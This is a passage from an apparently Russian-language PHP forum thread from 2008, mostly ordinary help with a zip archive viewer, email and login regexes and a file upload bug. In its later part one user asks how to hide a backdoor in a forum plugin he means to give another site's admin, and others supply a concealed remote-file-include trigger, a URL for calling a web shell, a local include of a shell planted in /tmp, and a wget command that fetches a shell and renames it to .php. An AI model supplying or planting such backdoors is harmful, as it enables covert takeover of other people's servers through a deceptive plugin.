echo "<h1>Проверено: $q<br />В онлайне: $a<br />В офлайне: $s<br />Неизвесно: $d<br />Ошибок: $k</h1></body></html>";
?>

X-FRITS
29.03.2008, 03:04
я что-то совсем не могу врубится, что это шняга делает(не достаточно владею JS), но разве это не раздел для php??

Doom123
29.03.2008, 03:41
у тя скрипт каким образом глючит? кстате существует конструкция elseif или switch case

azote
29.03.2008, 14:28
<?php

include_once"../template/pclzip.php";

$dir=check($dir); //папка

$arch=check($arch); //архив

$open=check($open);

echo '<div class=v><b>Просмотр архива</b></div>';
if($dir!="" && $arch!=""){
if (!$action){

$zip=new PclZip("$dir/$arch");
if (($list = $zip->listContent()) != 0){

for ($i=0; $i<sizeof($list); $i++){
for(reset($list[$i]);
$key = key($list[$i]);
next($list[$i])) {
$zfilesize = strstr($listcontent,"--size");
$zfilesize = ereg_replace("--size:","",$zfilesize);
$zfilesize =@ereg_replace("$zfilesize","$zfilesize|",$zfilesize);
$sizelist .="$zfilesize";


$listcontent = "[$i]--$key:".$list[$i][$key]."";
$zfile = strstr($listcontent,"--filename");
$zfile =ereg_replace("--filename:","",$zfile);
$zfile =@ereg_replace("$zfile","$zfile|",$zfile);
$savelist .="$zfile";

}}

$sizefiles2 = explode("|",$sizelist);
$sizelist2=array_sum($sizefiles2);
$obkb=round($sizelist2/1024,2);

$preview = explode("|",$savelist);

$count = count($preview)-1;
echo '<div class=pay><img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../img/o.gif" alt="">Всего файлов: '.$count.'<br><img src="../img/go.gif" alt="">Вес архива: '.$obkb.' кб</div>';

if (empty($_GET['start'])) $start = 0;
else $start = $_GET['start'];
if ($count < $start + $config_ziplist){ $end = $count; }
else {$end = $start + $config_ziplist; }
for ($i = $start; $i < $end; $i++){

$sizefiles = explode("|",$sizelist); //вырезаем элементы из массива с размерами файлов
$selectfile = explode("|",$savelist);
$path = $selectfile[$i];
$fname = ereg_replace(".*[\\/]","",$path);
$zdir = ereg_replace("[\\/]?[^\\/]*$","",$path);
$path = str_replace("/","*",$path);

$ext=strtolower(strrchr($fname, "."));

switch($ext){
case 'dir': $ico='dir.gif'; break;
case '.jpg': case '.jpeg': $ico='jpg.gif'; break;
case '.gif': $ico='gif.gif'; break;
case '.mid': $ico='mid.gif'; break;
case '.mp3': $ico='mp3.gif'; break;
case '.wav': case '.amr': $ico='wav.gif'; break;
case '.mmf': $ico='mmf.gif'; break;
case '.jad': $ico='jad.gif'; break;
case '.jar': $ico='jar.gif'; break;
case '.zip': $ico='zip.gif'; break;
case '.txt': $ico='txt.gif'; break;
case '.exe': $ico='exe.gif'; break;
case '.htm': $ico='htm.gif'; break;
case '.html': $ico='htm.gif'; break;
case '.php': $ico='php.gif'; break;
default: $ico='file.gif'; break; }

if(!$fname){
echo '<img src="../images/icons/dir.gif" alt=""> <b>Директория '.$zdir.'</b><br>';
}else{
echo '<img src="../images/icons/'.$ico.'" alt=""> <a href="zip.php?action=preview&amp;dir='.$dir.'&amp;arch='.$arch.' &amp;open='.$path.'&amp;start='.$start.'&amp;'.SID.'">'.$zdir.'/'.$fname.'</a>';
echo ' ('.formatsize($sizefiles[$i]).')<br>';

}}

echo '<div class=pay>';
if ($start != 0) {echo '<img src="../img/go.gif" alt=""><a href="zip.php?start='.($start - $config_ziplist).'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.S ID.'">Назад</a>';}else{echo'<img src="../img/go.gif" alt="">Назад';}
echo ' | ';
if ($count > $start + $config_ziplist) {echo ' <a href="zip.php?start='.($start + $config_ziplist).'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.S ID.'">Далее</a><img src="../img/g.gif" alt="">';}else{echo'Далее<img src="../img/g.gif" alt="">';}


$total=$count;
if($total>0){
$ba=ceil($total/$config_ziplist);
$ba2=$ba*$config_ziplist-$config_ziplist;
echo '<br>';
echo '<img src="../img/g.gif" alt="">Страницы:';
$asd=$start-($config_ziplist*3);
$asd2=$start+($config_ziplist*4);

if($asd<$total && $asd>0){echo ' <a href="zip.php?start=0&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID. '">1</a> ... ';}
for($i=$asd; $i<$asd2;)
{
if($i<$total && $i>=0){
$ii=floor(1+$i/$config_ziplist);

if ($start==$i) {
echo ' <b>'.$ii.'</b>';
} else {
echo ' <a href="zip.php?start='.$i.'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;' .SID.'">'.$ii.'</a> ';
}}
$i=$i+$config_ziplist;
}
if($asd2<$total){echo ' ... <a href="zip.php?start='.$ba2.'&amp;dir='.$dir.'&amp;arch='.$arch.' &amp;'.SID.'">'.$ba.'</a>';}
}

}else{
echo '<br><b>Невозможно открыть архив!</b><br>';
echo 'Ошибка: '.$zip->errorInfo(true);

}
echo'<br><div class=pay><img src="../img/go.gif" alt=""><a href="down.php?action=ob&amp;did='.$dir.'&amp;fid='.$arch.'&amp;'.SI D.'">Вернуться</a></div>';
}
//////////////////////////////////action preview////////////////////////////////
if($action=="preview"){

$open = str_replace("*","/",$open);

$zip=new PclZip("$dir/$arch");
$content = $zip->extract(PCLZIP_OPT_BY_NAME, $open,PCLZIP_OPT_EXTRACT_AS_STRING);
$content = $content[0]['content'];


$letters=array("а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");

for ( $b=0; $b<66; $b++) {if(strstr($content,$letters[$b])!== false){$utf="ok";}}
$preview2 = explode("\r\n",$content);
$count = count($preview2);

/* function highlight_code($code) {
$code=trim($code);
return highlight_string($code,true);} */

echo '<img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
echo '<img src="../images/img/files.gif" alt=""> <b>'.$open.'</b><br>';
echo 'Всего строчек: '.(int)$count.'<br><hr>';

if($utf=="ok"){echo highlight_code($content);}else{echo highlight_code(win_to_utf($content));}

echo'<div class=pay><img src="../img/go.gif" alt="">';
echo'<a href="zip.php?start='.$start.'&amp;dir='.$dir.'&amp;arch='.$arch .'&amp;'.SID.'">Вернуться</a></div>';
}
}else{header ("Location: index.php?".SID); exit;}
echo'<div class=pay><img src="../img/go.gif" alt=""><a href="down.php?did='.$dir.'&amp;'.SID.'">В раздел</a><br>';
echo'<img src="../img/go.gif" alt=""><a href="index.php?'.SID.'">К категориям</a></div></div></div>';

?>




------------------------------------------------

Подскажите, как сделать чтоб не только просматривать файлы в архиве можно было, но и выкачивать их напрямую из архива, нераспаковывая его

X-FRITS
29.03.2008, 14:29
РАБОЧИЙ:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='SHORTCUT ICON' href='http://status.icq.com/27/online1.gif' />
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>
<h1>Проверено: 51(с 900051 до 900050)<br />В онлайне: 0<br />В офлайне: 1<br />Неизвесно: 50<br />Ошибок: 0</h1></body></html>

НЕРАБОЧИЙ:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='SHORTCUT ICON' href='http://status.icq.com/27/online1.gif' />
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>

если просмотреть исходный код готовый страницы тогда видно, что for(...) не работает до конца...

-=lebed=-
29.03.2008, 23:10
1. Нормальная регулярка для проверки емаил на валидность (при условии что потом $email приводим к нижнему регистру) или есть получше?

function email_test($email)
{
if(ereg('^[_.0-9a-zA-Z-]+@([0-9a-zA-Z][0-9a-zA-Z-]*.)+[a-zA-Z]{2,4}$', $email)) return 1; //правильный емайл
return 0; // не правильный емайл
}


2. Дайте, плиз нормальную, готовую регулярку для проверки логина на валидность. Под валидностью подразумевается использование разрешённых символов, длина {4,10}

Piflit
29.03.2008, 23:18
[_.0-9a-zA-Z-] -> [_\.0-9a-zA-Z-]
([0-9a-zA-Z][0-9a-zA-Z-]*.) зачем круглые скобки? снова точка не экранируется

d_x
29.03.2008, 23:25
И можно убрать A-Z, оставить только a-z, а функцию заменить на eregi(), а лучше вообще в PCRE написать, они быстрее posix.

-=lebed=-
29.03.2008, 23:31
[_.0-9a-zA-Z-] -> [_\.0-9a-zA-Z-]
([0-9a-zA-Z][0-9a-zA-Z-]*.) зачем круглые скобки? снова точка не экранируется
Так?

[php]
function email_test($email)
{
if(ereg('^[_\.0-9a-zA-Z-]+@[0-9a-zA-Z][0-9a-zA-Z-]*\.+[a-zA-Z]{2,4}$', $email)) return 1; //правильный емайл
return 0; // не правильный емайл
}

Doom123
29.03.2008, 23:38
\w|[\._-]+@(\w|\.+)[a-z]{2,4} м?

-=lebed=- PCRE рулит и скоро обгонит POSIX во всём=)

Piflit
29.03.2008, 23:39
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/

d_x
29.03.2008, 23:44
\w не покатит, русские буквы будут проходить.

Doom123
29.03.2008, 23:48
тада

'#^[a-z0-9\._-]+@[a-z0-9\.]+[a-z]{2,4}$#is'

-=lebed=-
29.03.2008, 23:53
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/
- я так понял регулярка де-факто для проверки E-mail?
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/
PS В тегах php тут на форуме экранирующий слэш режется.
P.P.S. Дайте ещё регулярку де-факто для логина, т.е набор допустимых символов + национальные (или лучше с ними не возится?)

Doom123
29.03.2008, 23:56
а зачем запрещять использовать какие либо символы в логине ... ?

-=lebed=-
30.03.2008, 00:03
а зачем запрещять использовать какие либо символы в логине ... ? Ну есть непечатаемые символы, да и пробелы в начале, в середине и в конце логина тоже не нужны (хотя их можно просто обрезать потом)
ЗЫ Пишу скрипт регистрации для сервиса hashcracking.info, нужно продумать какие ники там будут возможны...

Doom123
30.03.2008, 00:07
preg_match('#^\S+$#s',$str)

.:EnoT:.
30.03.2008, 00:58
//оффтоп

До сих пор не могу понять почему многие кодеры в своих движках запрещают использовать русские буквы и спецсимволы. А вот пароли не запрещают делать из спецсимволов...парадокс.
Если правильно обработать все входящие данные, то никакой опасности они представлять не будут :)
мыло тоже не обязательно запрещать в верхнем регистре, просто потом опустить его в нижний функцией strtolower(), плюс прикрутить подтверждалку по е-мейлу, тада все олени, которые мыло пишут от балды прутся лесом...
И ещё)) Многие делают регулярки, чтобы нельзя было в имени мыла писать только одни подчёркивания. А если у меня и на самом деле мыло ____@mail.ru ? хехе
Пробелы в конце тоже не страшно...пусть вводят хоть сто пробелов)) trim() в помощь.

Спасибо за внимание :)

d_x
30.03.2008, 01:08
До сих пор не могу понять почему многие кодеры в своих движках запрещают использовать русские буквы и спецсимволы. А вот пароли не запрещают делать из спецсимволов...парадокс.
Пароли как правило шифруются MD5, и в итоге неважно, какие символы в нём были изначально.

Пробелы в конце тоже не страшно...пусть вводят хоть сто пробелов)) trim() в помощь.
Это не применимо к паролям, вдруг юзер хочет сделать себе пасс с пробелами в начале и в конце, а скрипт не предупреждая их удаляет. Итог - юзер, не зная об этом, не может залогиниться.

.:EnoT:.
30.03.2008, 03:42
чёт не втыкаю в чём проблема=//


<?php
echo '<form engtype="multipart/form-data" method="post" action="image.php">
<input type="file" name="image" /><br />
<input type="submit" name="submit" /></form> ';

if(isset($_POST['submit']))
{
if(!empty($_FILES['image']))
{
#############
}
else
{
echo 'Пусто';
}
}



выдаёт пусто....
я уже полчаса туплю не могу вьехать в чём проблема...почему файл в массив не помещается?

Scipio
30.03.2008, 04:38
echo '<form engtype="multipart/form-data" method="post" action="image.php">

у тебя engtype, а надо enctype

QZAR-X
30.03.2008, 07:14
У меня есть php скрипт, мне в нем надо сделать что-то тиап уязвимости, т.е. я мог вызвать через этот скрипт шелл:
например: www.site.com/script.php?shell=[shell-adress]

QZAR-X
30.03.2008, 09:13
VOLAND']...
$shell = @$_GET['shell'];
include($shell);
...

так не идет...
мне не надо чтобы скрипт постояно инклудил, а когда мне нужно, а то если переменная shell не задана, то вываливает ошибка.

heks
30.03.2008, 09:27
вставляешь в страницу вот это
if(@$_GET["hack"] == "yes") include($_GET['file']);

а вызываешь вот так

http://site.ru/index.php?hack=yes&file=http://site.ru/shell.txt

QZAR-X
30.03.2008, 09:43
Warning: include() [function.include]: URL file-access is disabled in the server configuration

Вот такую ошибку нельзя обойти или это только в конфигах меняется?

QZAR-X
30.03.2008, 10:06
VOLAND']Вот теперь понятно. В настройках PHP отключена опция allow_url_include
Обойти её в большинстве случев нельзя, надо просить хостера включить (сам просил, всегда прокатывало).

это что при выключенном параметре, невозможен php-инклудинг?
З.Ы. я этот скрипт хочу не себе поставить, поэтому я должен быть готов на все случаи жизни=), шелл я подсунуть не могу уж слишком он громоздкий, спалят...

heks
30.03.2008, 10:11
да невозможен и ничего ты несделаешь с удаленного сервера шел не приинклудишь а вот с того сервера котором ты находится должен смоч приинклудить попробуй с локального сервера шел приинклудить.
Попробуй залить в папку /tmp шел а потом вставь в скрипт что то типо этого
<?
include ("/tmp/shell.txt")
?>

QZAR-X
30.03.2008, 10:17
я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд. Я незнаю разрешено ли на том серваке по url инклудить, поэтому отрабатываю разные случаи.
Тогда можно ли сделать, коммандой 1.php?shell=conf.php, файл(локальный) просто прочитался или скачался?



А можно чтобы вместо инклуда, была заливка файла на сервер и вызов был примерно таков:
index.php?hack=yes&upload=shell.php

heks
30.03.2008, 10:49
я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд. Я незнаю разрешено ли на том серваке по url инклудить, поэтому отрабатываю разные случаи.
Тогда можно ли сделать, коммандой 1.php?shell=conf.php, файл(локальный) просто прочитался или скачался?



А можно чтобы вместо инклуда, была заливка файла на сервер и вызов был примерно таков:
index.php?hack=yes&upload=shell.php


встрой туда что я тебе сказал и все будет возможно использовать можно будет какой либо качалкой залить с удаленного сайта шел примерно так сам точно незнаю скрипт в котором это было где то есть но я непомню где ;(
wget http://site.ru/shell.txt;mv shell.txt shell.php но дира должна быть доступна для записи

azote
30.03.2008, 10:50
Может поможет мне ктонить? А? Мой пост несколько страниц назад...

heks
30.03.2008, 10:58
Может поможет мне ктонить? А? Мой пост несколько страниц назад...
сразу сказать на какой странице твой пост нельзя у лююдей траф не резиновый непроше юзать шел который скачивае или отправляет шел по почте ?